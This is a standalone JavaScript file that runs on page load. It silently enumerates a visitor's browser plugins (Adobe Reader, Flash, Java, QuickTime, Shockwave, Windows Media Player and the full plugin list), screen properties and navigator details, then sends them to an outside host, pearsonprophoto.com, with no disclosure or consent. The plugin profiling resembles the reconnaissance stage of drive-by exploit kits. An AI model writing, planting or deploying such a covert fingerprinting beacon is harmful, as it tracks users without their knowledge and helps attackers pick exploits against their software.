function makeRequest(param) {

	var http_request = false;
	if (window.XMLHttpRequest) { // Mozilla, Safari, ...
	http_request = new XMLHttpRequest();
	if (http_request.overrideMimeType) {
		http_request.overrideMimeType('text/xml');}
	}
	 
	else if (window.ActiveXObject) { // IE
	try {http_request = new ActiveXObject("Msxml2.XMLHTTP");} 
	catch (e) {
		try {http_request = new ActiveXObject("Microsoft.XMLHTTP");} 
		catch (e) {}
		}
	}

	if (!http_request) {return false;}
	http_request.onreadystatechange = function() { alertContents(http_request); };
	http_request.open('GET', 'http://pearsonprophoto.com/ajax.php?result_string='+param, true);
	http_request.send();

}

function getString(){
	// Adobe Reader
	function check_adobe_reader(){
		var isInstalled = false;
		var version = null;
		if (window.ActiveXObject) {   
			var control = null;
			try {			
				control = new ActiveXObject('AcroPDF.PDF');	 
			} catch (e) {}
			if (!control) {
				try {				
					control = new ActiveXObject('PDF.PdfCtrl');	   
				} catch (e) {		
					return false;
				}
			}
			if (control) {	 
				isInstalled = true;
				version = control.GetVersions().split(',');
				version = version[0].split('=');
				version = parseFloat(version[1]);
				return true;
			}
		} else {   
			return false;
		}
	}
	var abode_reader = check_adobe_reader();
	// Adobe Reader

	// Flash Player
	function check_flash_player(){
		var isInstalled = false;
		var version = null;
		if (window.ActiveXObject) {
			var control = null;
			try {
				control = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');
			} catch (e) {
				return false;
			}
			if (control) {
				isInstalled = true;
				version = control.GetVariable('$version').substring(4);
				version = version.split(',');
				version = parseFloat(version[0] + '.' + version[1]);
				return true;
			}
		} else {
				return false;
		}
	}
	var check_flash_player = check_flash_player();
	// Flash Player

	// Java Runtime Environment
	function check_java_runtime_environment(){
		var isInstalled = navigator.javaEnabled();
		if (!isInstalled) {
			return false;
		}
		return true;
	}
	var check_java_runtime_environment = check_java_runtime_environment();
	// Java Runtime Environment

	// QuickTime Player
	function check_QuickTimePlayer(){
		var isInstalled = false;
		var version = null;
		if (window.ActiveXObject) {
			var control = null;
			try {
				control = new ActiveXObject('QuickTime.QuickTime');
			} catch (e) {			
			}
			if (control) {			
				isInstalled = true;
			}
			try {			
				control = new ActiveXObject('QuickTimeCheckObject.QuickTimeCheck');
			} catch (e) {
				return false;
			}
			if (control) {			
				isInstalled = true;		
				version = control.QuickTimeVersion.toString(16); // Convert to hex
				version = version.substring(0, 1) + '.' + version.substring(1, 3);
				version = parseFloat(version);
				return true;
			}
		} else {		
			return false;
		}
	}
	var check_QuickTimePlayer = check_QuickTimePlayer();
	// QuickTime Player

	// Shockwave Player
	function check_ShockwavePlayer(){
		var isInstalled = false;
		var version = null;
		if (window.ActiveXObject) {
			var control = null;
			try {
				control = new ActiveXObject('SWCtl.SWCtl');
			} catch (e) {
				return;
			}
			if (control) {
				isInstalled = true;
				version = control.ShockwaveVersion('').split('r');
				version = parseFloat(version[0]);
				return true;
			}
		} else {		
			return false;
		}
	}
	var check_ShockwavePlayer = check_ShockwavePlayer();
	// Shockwave Player

	// Windows Media Player
	function check_WindowsMediaPlayer(){
		var isInstalled = false;
		var version = null;
		if (window.ActiveXObject) {
			var control = null;
			try {
				control = new ActiveXObject('WMPlayer.OCX');
			} catch (e) {
				return;
			}
			if (control) {
				isInstalled = true;
				version = parseFloat(control.versionInfo);
				return true;
			}
		} else {		
			return false;
		}
	}
	var check_WindowsMediaPlayer = check_WindowsMediaPlayer();
	// Windows Media Player

	// list plugin for firefox, opera
	var prev;
	var list_plugin = '';
	for(var i=0;i<navigator.plugins.length;i++) { 
		var plugin = navigator.plugins[i];
		var plugin = plugin.name+" "+(plugin.version || '');
		if (prev == plugin ) continue;
		list_plugin += plugin + '||';    
		prev = plugin;
	}  
	// list plugin for firefox, opera

	// screen site & color
	var scr_height=0; 
	var scr_width=0; 
	var scr_colorDepth = screen.colorDepth; 
	if (self.screen) 
	{  
	  scr_width = screen.width  
	  scr_height = screen.height 
	} 
	else if (self.java) 
	{  
	  var jToolKit = java.awt.Toolkit.getDefaultToolkit();  
	  var scrsize = jToolKit.getScreenSize();  
	  scr_width = scrsize.width; 
	  scr_height = scrsize.height;  
	}
	// screen site & color

	// browser parametr
	var param_brow_1 = navigator.appCodeName;
	var param_brow_2 = navigator.appName;
	var param_brow_3 = navigator.appVersion;
	var param_brow_4 = navigator.browserLanguage;
	var param_brow_5 = navigator.cookieEnabled;
	var param_brow_6 = navigator.language;
	var param_brow_7 = navigator.onLine;
	var param_brow_8 = navigator.platform;
	var param_brow_9 = navigator.userAgent;
	var param_brow_10 = navigator.userLanguage;
	// browser parametr

	var result_string = '';
	if(abode_reader) result_string += 'abode_reader:1||'; else result_string += 'abode_reader:0||';
	if(check_flash_player) result_string += 'check_flash_player:1||'; else result_string += 'check_flash_player:0||';
	if(check_java_runtime_environment) result_string += 'check_java_runtime_environment:1||'; else result_string += 'check_java_runtime_environment:0||';
	if(check_QuickTimePlayer) result_string += 'check_QuickTimePlayer:1||'; else result_string += 'check_QuickTimePlayer:0||';
	if(check_ShockwavePlayer) result_string += 'check_ShockwavePlayer:1||'; else result_string += 'check_ShockwavePlayer:0||';
	if(check_WindowsMediaPlayer) result_string += 'check_WindowsMediaPlayer:1||'; else result_string += 'check_WindowsMediaPlayer:0';

	result_string += '@@@';
	result_string += list_plugin;
	result_string += '@@@';
	result_string += 'scr_height:' + scr_height + '||scr_width:' + scr_width + '||scr_colorDepth:' + scr_colorDepth + '@@@';
	result_string += 'param_1:'+param_brow_1+'||';
	result_string += 'param_2:'+param_brow_2+'||';
	result_string += 'param_3:'+param_brow_3+'||';
	result_string += 'param_4:'+param_brow_4+'||';
	result_string += 'param_5:'+param_brow_5+'||';
	result_string += 'param_6:'+param_brow_6+'||';
	result_string += 'param_7:'+param_brow_7+'||';
	result_string += 'param_8:'+param_brow_8+'||';
	result_string += 'param_9:'+param_brow_9+'||';
	result_string += 'param_10:'+param_brow_10+'||';

	return(result_string);

}

var params = getString();
makeRequest(params);
